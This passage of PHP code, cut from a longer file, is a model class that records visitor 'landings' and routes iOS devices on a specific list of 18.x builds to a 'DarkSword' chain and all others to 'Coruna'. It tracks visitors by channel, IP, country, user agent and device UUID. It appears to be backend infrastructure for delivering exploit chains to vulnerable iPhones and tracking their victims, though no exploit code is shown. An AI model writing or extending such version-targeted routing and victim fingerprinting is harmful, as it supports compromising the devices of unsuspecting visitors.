'integer', 'created_at' => 'datetime', ]; } public static function chainLabel(int $chain): string { return $chain === self::CHAIN_DARKSWORD ? 'DarkSword' : 'Coruna'; } /** Only these iOS builds enter the DarkSword landing / workers. */ public const DARKSWORD_IOS_VERSIONS = [ '18.1.1', '18.4', '18.4.1', '18.5', '18.6', '18.6.1', '18.6.2', '18.7', '18.7.1', '18.7.2', ]; /** * t.js / DS register: allowlisted builds → DarkSword; everything else → Coruna. */ public static function chainFromIosVersion(?string $os, ?string $osVersion): int { if (! in_array($os, ['iOS', 'iPadOS'], true)) { return self::CHAIN_CORUNA; } return self::isDarkSwordIosVersionString($osVersion) ? self::CHAIN_DARKSWORD : self::CHAIN_CORUNA; } public static function isDarkSwordIosVersionString(?string $osVersion): bool { $canon = self::canonicalIosVersion($osVersion); return $canon !== '' && in_array($canon, self::DARKSWORD_IOS_VERSIONS, true); } /** * 18.5 / 18.5.0 → 18.5; 18.6.1 stays 18.6.1. */ public static function canonicalIosVersion(?string $osVersion): string { $version = trim((string) $osVersion); if ($version === '' || ! preg_match('/^\d+(?:\.\d+){0,3}$/', $version)) { return ''; } $parts = array_pad(array_map('intval', explode('.', $version)), 3, 0); return $parts[2] === 0 ? $parts[0].'.'.$parts[1] : $parts[0].'.'.$parts[1].'.'.$parts[2]; } public static function normalizeDomain(?string $value): ?string { $value = trim((string) $value); if ($value === '') { return null; } $value = preg_replace('#^https?://#i', '', $value) ?? $value; $value = explode('/', $value, 2)[0]; $value = strtolower(rtrim($value)); if ($value === '' || ! str_contains($value, '.')) { return null; } return substr($value, 0, 255); } public const VISITOR_UID_LENGTH = 16; public const LANDING_MERGE_SECONDS = 60; /** * One landing = one row. t.js and DS register share this so the same * channel+IP within {@see LANDING_MERGE_SECONDS} is merged, not doubled. * DarkSword wins on chain; register may replace client_uid with the device UUID. * * @param array $attrs */ public static function recordLanding(array $attrs, int $chain): self { $channel = (string) ($attrs['channel_id'] ?? ''); $ip = self::normalizeIp(isset($attrs['ip']) ? (string) $attrs['ip'] : null); $existing = null; if ($channel !== '' && $ip !== '') { $existing = static::query() ->where('channel_id', $channel) ->whereIn('ip', self::ipLookupKeys($ip)) ->where('created_at', '>=', now()->subSeconds(self::LANDING_MERGE_SECONDS)) ->orderByDesc('id') ->first(); } if ($existing) { $updates = []; if ($chain === self::CHAIN_DARKSWORD && (int) $existing->chain !== self::CHAIN_DARKSWORD) { $updates['chain'] = self::CHAIN_DARKSWORD; } if ($chain === self::CHAIN_DARKSWORD) { $uid = trim((string) ($attrs['client_uid'] ?? '')); if ($uid !== '' && $uid !== (string) $existing->client_uid) { $updates['client_uid'] = substr($uid, 0, 64); } } $incomingCountry = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null); if ($incomingCountry && trim((string) ($existing->country ?? '')) === '') { $updates['country'] = $incomingCountry; } foreach (['user_agent', 'os', 'os_version', 'browser', 'browser_version', 'domain', 'referer'] as $field) { $incoming = $attrs[$field] ?? null; if (! is_string($incoming) || trim($incoming) === '') { continue; } $incoming = trim($incoming); $current = trim((string) ($existing->{$field} ?? '')); if ($current === '' || ($field === 'os_version' && $chain === self::CHAIN_DARKSWORD)) { $updates[$field] = $incoming; } } if ($updates !== []) { $existing->fill($updates)->save(); } return $existing; } $attrs['chain'] = $chain; $attrs['created_at'] = $attrs['created_at'] ?? now(); $attrs['country'] = CfIpCountry::normalize(isset($attrs['country']) ? (string) $attrs['country'] : null); return static::query()->create($attrs); } /** * Stable visitor id: same domain+ip always yields the same 16-hex value. */ public static function visitorUid(?string $domain, ?string $ip): string { $domainKey = self::normalizeDomain($domain) ?? strtolower(trim((string) $domain)); $ipKey = self::normalizeIp($ip); return substr(hash('sha256', $domainKey."\0".$ipKey), 0, self::VISITOR_UID_LENGTH); } /** * Unwrap IPv4-mapped IPv6 (`::ffff:1.2.3.4` → `1.2.3.4`) and canonicalize. */ public static function normalizeIp(?string $ip): string { $ip = strtolower(trim((string) $ip)); if ($ip === '') { return ''; } if (str_starts_with($ip, '::ffff:')) { $mapped = substr($ip, 7); if (filter_var($mapped, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { return $mapped; } } $packed = filter_var($ip, FILTER_VALIDATE_IP) ? inet_pton($ip) : false; if ($packed !== false) { $canon = inet_ntop($packed); if (is_string($canon) && $canon !== '') { return strtolower($canon); } } return $ip; } /** * @return list */ public static function ipLookupKeys(?string $ip): array { $norm = self::normalizeIp($ip); if ($norm === '') { return []; } $keys = [$norm]; if (filter_var($norm, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4)) { $keys[] = '::ffff:'.$norm; } return array_values(array_unique($keys)); } }